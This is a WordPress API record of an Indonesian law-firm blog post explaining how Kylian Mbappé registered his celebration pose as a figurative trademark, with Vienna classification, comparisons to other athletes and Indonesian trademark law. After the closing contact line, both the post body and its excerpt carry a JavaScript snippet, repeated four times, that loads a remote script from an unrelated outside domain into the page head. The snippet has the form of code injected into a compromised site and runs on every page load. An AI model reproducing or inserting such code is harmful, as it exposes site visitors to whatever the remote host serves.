{"id":4864,"date":"2024-04-12T11:56:49","date_gmt":"2024-04-12T11:56:49","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=4864"},"modified":"2024-04-12T11:56:49","modified_gmt":"2024-04-12T11:56:49","slug":"pose-selebrasi-mbappe-didaftarkan-sebagai-merek-kok-bisa","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2024\/04\/12\/pose-selebrasi-mbappe-didaftarkan-sebagai-merek-kok-bisa\/","title":{"rendered":"Pose Selebrasi Mbappe Didaftarkan Sebagai Merek &#8211; Kok Bisa?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Sejak tahun 2017, <\/span><b>Kylian Mbapp\u00e9<\/b> <span style=\"font-weight: 400\">telah menyumbangkan 170+ gol untuk klub <\/span><b><i>Paris Saint-Germain<\/i><\/b><span style=\"font-weight: 400\">. Sejak itu pula Mbapp\u00e9 memperkenalkan pose selebrasi tangan menyilang yang dijepit di ketiak setelah ia menggolkan gawang lawan. Ternyata, pose tersebut telah didaftarkan sebagai Merek di tahun yang sama dan akan terlindungi setidaknya hingga Agustus 2027.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Secara teori, sejak 2008 <\/span><a href=\"https:\/\/staging.affa.co.id\/bhs\/tips-mendaftarkan-suara-dan-musik-sebagai-merek\/\"><b>Organisasi Kekayaan Intelektual Dunia (WIPO)<\/b><span style=\"font-weight: 400\"> telah mengakui<\/span><\/a><span style=\"font-weight: 400\"> keberadaan <\/span><b><i>\u2018New Types of Marks\u2019<\/i><\/b><span style=\"font-weight: 400\"> atau <\/span><b>Tipe Merek Baru<\/b><span style=\"font-weight: 400\">, yang membagi Merek menjadi dua tipe, yakni <\/span><i><span style=\"font-weight: 400\">Visible<\/span><\/i><span style=\"font-weight: 400\"> (dapat lihat) dan <\/span><i><span style=\"font-weight: 400\">Non-Visible<\/span><\/i><span style=\"font-weight: 400\"> (tidak dapat dilihat). Untuk Merek yang dapat dilihat, selain ragam Merek yang sudah lazim diakui seperti nama, logo, dan hologram, juga diakui Tanda Bergerak <\/span><b><i>(Motion or Multimedia Signs)<\/i><\/b><span style=\"font-weight: 400\">, Merek Posisi <\/span><b><i>(Position Marks)<\/i><\/b><span style=\"font-weight: 400\">, dan Merek Gerakan <\/span><b><i>(Gesture Marks)<\/i><\/b><span style=\"font-weight: 400\">. Maka dari itu, pose selebrasi yang termasuk <\/span><i><span style=\"font-weight: 400\">gesture <\/span><\/i><span style=\"font-weight: 400\">ini memang dapat didaftarkan sebagai Merek.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun karena implemetasinya belum didukung oleh semua Kantor Merek di seluruh dunia, perlindungan hukum atas Merek Gerakan ini belum bisa diterapkan di banyak negara.\u00a0 Maka dari itu, Mbapp\u00e9 pun \u201chanya\u201d mendaftarkan pose-nya sebagai logo <\/span><b><i>(Figurative Marks)<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p style=\"text-align: center\"><span style=\"font-weight: 400\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-4867\" src=\"http:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/mbappemark.jpg\" alt=\"WIPO Trademark Logo FIgurative Mark Kylian Mbappe - AFFA IPR\" width=\"2137\" height=\"714\" srcset=\"https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/mbappemark.jpg 2137w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/mbappemark-300x100.jpg 300w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/mbappemark-1024x342.jpg 1024w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/mbappemark-768x257.jpg 768w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/mbappemark-1536x513.jpg 1536w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/mbappemark-2048x684.jpg 2048w\" sizes=\"(max-width: 2137px) 100vw, 2137px\" \/>Sumber: Organisasi Kekayaan Intelektual Dunia (WIPO)<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Sebagai logo, ada sistem klasifikasi yang mengaturnya untuk memudahkan permohonan, sekaligus memberikan kesempatan yang luas pada setiap logo milik pribadi atau perusahaan untuk dapat didaftarkan dalam berbagai kategori kelas yang tepat, sehingga meminimalisir praktek monopoli. Sistem klasifikasi itu adalah<\/span><b> Kelas Vienna\u00a0 <\/b><span style=\"font-weight: 400\">yang membagi logo dalam 29 kategori, 144 bagian, 775 penjelasan umum, dan 1.112 penjelasan khusus. Pose selebrasi Mbapp\u00e9 ini dimasukkan dalam Kelas Vienna 2.1.8 yang mencakup logo untuk \u201cAkrobat, atlet, penari, pesulap, laki-laki telanjang, dan olahragawan, kecuali yang sudah termasuk pada Kelas Vienna 2.1.2, 2.1.12, 2.1.14, 2.1.20 and 2.1.21.\u201d<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Perlu dicatat bahwa Direktorat Jenderal Kekayaan Intelektual (DJKI) belum mengadopsi Kelas Vienna untuk pendaftaran logo, namun bukan berarti Merek tersebut tidak dapat didaftarkan di Indonesia. Simak pembahasannya di bagian akhir artikel ini.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Mengapa Didaftarkan?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Sejak awal Mbapp\u00e9 rupanya sudah paham kalau pose unik ini dapat didaftarkan sebagai Merek. Karena belasan tahun sebelumnya, <\/span><b>David Beckham<\/b><span style=\"font-weight: 400\">, gelandang sayap legendaris asal <\/span><b>Manchester United<\/b><span style=\"font-weight: 400\"> sudah mendaftarkan pose tendangan pisangnya sebagai Merek. Bedanya, logo yang didaftarkan oleh Beckham itu berupa sosok yang menyerupai manusia (Kelas Wina 4.5.5), bukan foto hitam putih dirinya seperti yang didaftarkan oleh Mbapp\u00e9.<\/span><\/p>\n<p style=\"text-align: center\"><span style=\"font-weight: 400\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-4866\" src=\"http:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/beckhammark.jpg\" alt=\"WIPO Trademark Logo FIgurative Mark David Beckham AFFA IPR\" width=\"2137\" height=\"714\" srcset=\"https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/beckhammark.jpg 2137w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/beckhammark-300x100.jpg 300w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/beckhammark-1024x342.jpg 1024w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/beckhammark-768x257.jpg 768w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/beckhammark-1536x513.jpg 1536w, https:\/\/staging.affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2024\/04\/beckhammark-2048x684.jpg 2048w\" sizes=\"(max-width: 2137px) 100vw, 2137px\" \/>Sumber: Organisasi Kekayaan Intelektual Dunia (WIPO)<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun sama seperti Beckham, Mbapp\u00e9 pun berharap Merek ini dapat dimanfaatkan secara komersil dalam berbagai produk barang dan\/atau jasa yang dimilikinya. Dengan prestasi global dan 113 juta pengikut Instagram yang berasal dari seluruh dunia, tidak sulit untuk membayangkan apa pun yang dijual oleh Mbapp\u00e9, apalagi dengan menyematkan logo selebrasi uniknya, akan mendatangkan keuntungan. Keuntungan ini tentunya tidak hanya datang untuk Mbapp\u00e9, tapi juga untuk produsen baju, tekstil, mainan, video game, payung, tas, perhiasan, parfum, kosmetik, bahkan sikat gigi yang berminat untuk <\/span><a href=\"https:\/\/staging.affa.co.id\/bhs\/mengurai-dokumen-pencatatan-perjanjian-lisensi-ki-di-indonesia\/\"><span style=\"font-weight: 400\">mendapatkan lisensi<\/span><\/a><span style=\"font-weight: 400\">-nya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Berdampak Negatif pada Pencitraan?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jika suatu Merek sudah dalam status terdaftar, maka pemanfaatan secara komersil atas Merek tersebut menjadi Hak Eksklusif dari pemilik Merek atau pihak lain yang secara resmi sudah mendapatkan izinnya. Maka apabila ada pihak lain yang menggunakannya tanpa izin, dapat dilakukan gugatan Perdata atau menuntut pertanggungjawaban secara Pidana, dengan <\/span><span style=\"font-weight: 400\">denda maksimal 2 (dua) miliar Rupiah<\/span><span style=\"font-weight: 400\"> atau <\/span><span style=\"font-weight: 400\">penjara maksimal 5 (lima) tahun<\/span><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dari sisi komunitas fans, besaran denda ini bisa jadi menakutkan. Karena logo yang sebelumnya sangat dibanggakan, digunakan sebagai wallpaper HP, laptop, stiker di kendaraan, atau poster di ruang kerja bisa jadi barang bukti yang memberatkan. Apakah pengacara atau tim legal Mbapp\u00e9 akan menuntut dan memenjarakan para Fans?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jawabannya tentu tidak. Karena yang akan dikejar oleh mereka utamanya adalah para pembajak yang membuat, mendistribusikan, atau menjual produk tiruan tanpa izin. Upaya ini tentunya sangat positif bagi fans yang benar-benar hadir untuk memberikan dukungan kepada idolanya. Karena uang yang dibelanjakan, akan benar-benar menjadi pemasukan untuk sang idola, bukan ke kantong para pembajak. Lebih mahal tapi legal, dapat barang berkualitas, lebih membanggakan bukan?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Olahragawan Lain Juga Melakukannya<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Karena praktek komersialisasi Merek milik para olahrahgawan sudah berlangsung sejak lama, sebut saja pebasket <\/span><b>Michael Jordan<\/b><span style=\"font-weight: 400\">, pegolf <\/span><b>Jack Nicklaus<\/b><span style=\"font-weight: 400\">, hingga sprinter <\/span><b>Usain Bolt<\/b><span style=\"font-weight: 400\">, dan mereka semua tetap dicintai para penggemarnya. Dengan kepemilikan logo selebrasi ini, Mbapp\u00e9 tercatat telah memiliki 7 varian Merek terdaftar di <\/span><b>Kantor Merek Uni Eropa (EUIPO)<\/b><span style=\"font-weight: 400\">, dimana 1 merupakan Merek yang bertuliskan namanya, 2 Merek yang berisi slogan favoritnya, 2 Merek logo, dan 2 Merek lagi merupakan gabungan logo dan nama Mbapp\u00e9.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Pesepak bola lain yang juga memiliki Merek terdaftar yang masih aktif dalam jumlah banyak adalah <\/span><b>Lionel Messi <\/b><span style=\"font-weight: 400\">(6 Merek) dan <\/span><b>Cristiano Ronaldo<\/b><span style=\"font-weight: 400\"> (5 Merek). Namun jika dibandingkan David Beckham saat masih aktif, mantan gelandang <\/span><b>Real Madrid<\/b><span style=\"font-weight: 400\"> ini punya Merek lebih banyak. Yakni 8 Merek terdaftar untuk logo, nama, dan beberapa varian nama dengan kombinasi nomor punggungnya, untuk berbagai produk dan yayasan yang ia miliki. Sayangnya, saat ini ia hanya menyisakan satu Merek saja yang masih aktif: BECKHAM.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Apakah Merek Tersebut Bisa Terdaftar di Indonesia?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Merujuk pada Pasal 1 poin 1 <\/span><b>Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis (UU Merek)<\/b><span style=\"font-weight: 400\">, Merek adalah tanda yang dapat ditampilkan secara grafis berupa gambar, logo, nama, kata, huruf, angka, susunan warna, dalam bentuk 2 (dua) dimensi dan\/atau 3 (tiga) dimensi, suara, hologram, atau kombinasi dari 2 (dua) atau lebih unsur tersebut untuk membedakan barang dan\/atau jasa yang diproduksi oleh orang atau badan hukum dalam kegiatan perdagangan barang dan\/atau jasa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Merujuk pada definisi Merek tersebut, maka sejatinya Merek yang diajukan oleh Kylian Mbapp\u00e9 juga bisa terdaftar di Indonesia, asalkan tidak ada Merek yang sama atau mirip yang sudah diajukan sebelumnya oleh pihak lain sebagaimana diatur dalam Pasal 21 UU Merek.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Anda berminat mendaftarkan nama atau pose favorit Anda sebagai Merek di Indonesia atau manca negara? Langsung hubungi kami melalui email <a href=\"mailto:emirsyah.dinar@staging.affa.co.id\">emirsyah.dinar@staging.affa.co.id<\/a>.<\/strong>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sejak tahun 2017, Kylian Mbapp\u00e9 telah menyumbangkan 170+ gol untuk klub Paris Saint-Germain. Sejak itu pula Mbapp\u00e9 memperkenalkan pose selebrasi tangan menyilang yang dijepit di ketiak setelah ia menggolkan gawang lawan. Ternyata, pose tersebut telah didaftarkan sebagai Merek di tahun yang sama dan akan terlindungi setidaknya hingga Agustus 2027. &nbsp; Secara teori, sejak 2008 Organisasi Kekayaan Intelektual Dunia (WIPO) telah mengakui keberadaan \u2018New Types of Marks\u2019 atau Tipe Merek Baru, yang membagi Merek menjadi dua tipe, yakni Visible (dapat lihat) dan Non-Visible (tidak dapat dilihat). Untuk Merek yang dapat dilihat, selain ragam Merek yang sudah lazim diakui seperti nama, logo, dan hologram, juga diakui Tanda Bergerak (Motion or Multimedia Signs), Merek Posisi (Position Marks), dan Merek Gerakan (Gesture Marks). Maka dari itu, pose selebrasi yang termasuk gesture ini memang dapat didaftarkan sebagai Merek.\u00a0 &nbsp; Namun karena implemetasinya belum didukung oleh semua Kantor Merek di seluruh dunia, perlindungan hukum atas Merek Gerakan ini belum bisa diterapkan di banyak negara.\u00a0 Maka dari itu, Mbapp\u00e9 pun \u201chanya\u201d mendaftarkan pose-nya sebagai logo (Figurative Marks). Sumber: Organisasi Kekayaan Intelektual Dunia (WIPO) &nbsp; Sebagai logo, ada sistem klasifikasi yang mengaturnya untuk memudahkan permohonan, sekaligus memberikan kesempatan yang luas pada setiap logo milik pribadi atau perusahaan untuk dapat didaftarkan dalam berbagai kategori kelas yang tepat, sehingga meminimalisir praktek monopoli. Sistem klasifikasi itu adalah Kelas Vienna\u00a0 yang membagi logo dalam 29 kategori, 144 bagian, 775 penjelasan umum, dan 1.112 penjelasan khusus. Pose selebrasi Mbapp\u00e9 ini dimasukkan dalam Kelas Vienna 2.1.8 yang mencakup logo untuk \u201cAkrobat, atlet, penari, pesulap, laki-laki telanjang, dan olahragawan, kecuali yang sudah termasuk pada Kelas Vienna 2.1.2, 2.1.12, 2.1.14, 2.1.20 and 2.1.21.\u201d &nbsp; Perlu dicatat bahwa Direktorat Jenderal Kekayaan Intelektual (DJKI) belum mengadopsi Kelas Vienna untuk pendaftaran logo, namun bukan berarti Merek tersebut tidak dapat didaftarkan di Indonesia. Simak pembahasannya di bagian akhir artikel ini. &nbsp; Mengapa Didaftarkan? &nbsp; Sejak awal Mbapp\u00e9 rupanya sudah paham kalau pose unik ini dapat didaftarkan sebagai Merek. Karena belasan tahun sebelumnya, David Beckham, gelandang sayap legendaris asal Manchester United sudah mendaftarkan pose tendangan pisangnya sebagai Merek. Bedanya, logo yang didaftarkan oleh Beckham itu berupa sosok yang menyerupai manusia (Kelas Wina 4.5.5), bukan foto hitam putih dirinya seperti yang didaftarkan oleh Mbapp\u00e9. Sumber: Organisasi Kekayaan Intelektual Dunia (WIPO) &nbsp; Namun sama seperti Beckham, Mbapp\u00e9 pun berharap Merek ini dapat dimanfaatkan secara komersil dalam berbagai produk barang dan\/atau jasa yang dimilikinya. Dengan prestasi global dan 113 juta pengikut Instagram yang berasal dari seluruh dunia, tidak sulit untuk membayangkan apa pun yang dijual oleh Mbapp\u00e9, apalagi dengan menyematkan logo selebrasi uniknya, akan mendatangkan keuntungan. Keuntungan ini tentunya tidak hanya datang untuk Mbapp\u00e9, tapi juga untuk produsen baju, tekstil, mainan, video game, payung, tas, perhiasan, parfum, kosmetik, bahkan sikat gigi yang berminat untuk mendapatkan lisensi-nya. &nbsp; Berdampak Negatif pada Pencitraan? &nbsp; Jika suatu Merek sudah dalam status terdaftar, maka pemanfaatan secara komersil atas Merek tersebut menjadi Hak Eksklusif dari pemilik Merek atau pihak lain yang secara resmi sudah mendapatkan izinnya. Maka apabila ada pihak lain yang menggunakannya tanpa izin, dapat dilakukan gugatan Perdata atau menuntut pertanggungjawaban secara Pidana, dengan denda maksimal 2 (dua) miliar Rupiah atau penjara maksimal 5 (lima) tahun. &nbsp; Dari sisi komunitas fans, besaran denda ini bisa jadi menakutkan. Karena logo yang sebelumnya sangat dibanggakan, digunakan sebagai wallpaper HP, laptop, stiker di kendaraan, atau poster di ruang kerja bisa jadi barang bukti yang memberatkan. Apakah pengacara atau tim legal Mbapp\u00e9 akan menuntut dan memenjarakan para Fans? &nbsp; Jawabannya tentu tidak. Karena yang akan dikejar oleh mereka utamanya adalah para pembajak yang membuat, mendistribusikan, atau menjual produk tiruan tanpa izin. Upaya ini tentunya sangat positif bagi fans yang benar-benar hadir untuk memberikan dukungan kepada idolanya. Karena uang yang dibelanjakan, akan benar-benar menjadi pemasukan untuk sang idola, bukan ke kantong para pembajak. Lebih mahal tapi legal, dapat barang berkualitas, lebih membanggakan bukan? &nbsp; Olahragawan Lain Juga Melakukannya &nbsp; Karena praktek komersialisasi Merek milik para olahrahgawan sudah berlangsung sejak lama, sebut saja pebasket Michael Jordan, pegolf Jack Nicklaus, hingga sprinter Usain Bolt, dan mereka semua tetap dicintai para penggemarnya. Dengan kepemilikan logo selebrasi ini, Mbapp\u00e9 tercatat telah memiliki 7 varian Merek terdaftar di Kantor Merek Uni Eropa (EUIPO), dimana 1 merupakan Merek yang bertuliskan namanya, 2 Merek yang berisi slogan favoritnya, 2 Merek logo, dan 2 Merek lagi merupakan gabungan logo dan nama Mbapp\u00e9.\u00a0 &nbsp; Pesepak bola lain yang juga memiliki Merek terdaftar yang masih aktif dalam jumlah banyak adalah Lionel Messi (6 Merek) dan Cristiano Ronaldo (5 Merek). Namun jika dibandingkan David Beckham saat masih aktif, mantan gelandang Real Madrid ini punya Merek lebih banyak. Yakni 8 Merek terdaftar untuk logo, nama, dan beberapa varian nama dengan kombinasi nomor punggungnya, untuk berbagai produk dan yayasan yang ia miliki. Sayangnya, saat ini ia hanya menyisakan satu Merek saja yang masih aktif: BECKHAM. &nbsp; Apakah Merek Tersebut Bisa Terdaftar di Indonesia? &nbsp; Merujuk pada Pasal 1 poin 1 Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis (UU Merek), Merek adalah tanda yang dapat ditampilkan secara grafis berupa gambar, logo, nama, kata, huruf, angka, susunan warna, dalam bentuk 2 (dua) dimensi dan\/atau 3 (tiga) dimensi, suara, hologram, atau kombinasi dari 2 (dua) atau lebih unsur tersebut untuk membedakan barang dan\/atau jasa yang diproduksi oleh orang atau badan hukum dalam kegiatan perdagangan barang dan\/atau jasa. &nbsp; Merujuk pada definisi Merek tersebut, maka sejatinya Merek yang diajukan oleh Kylian Mbapp\u00e9 juga bisa terdaftar di Indonesia, asalkan tidak ada Merek yang sama atau mirip yang sudah diajukan sebelumnya oleh pihak lain sebagaimana diatur dalam Pasal 21 UU Merek. &nbsp; Anda berminat mendaftarkan nama atau pose favorit Anda sebagai Merek di Indonesia atau manca negara? Langsung hubungi kami melalui email emirsyah.dinar@staging.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async<\/p>\n","protected":false},"author":1,"featured_media":4869,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[282,298,305,306,318,411,412],"class_list":["post-4864","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-daftar-merek","tag-merek","tag-affa","tag-affa-ipr","tag-trademark","tag-logo","tag-mbappe"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4864","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4864"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4864\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4869"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}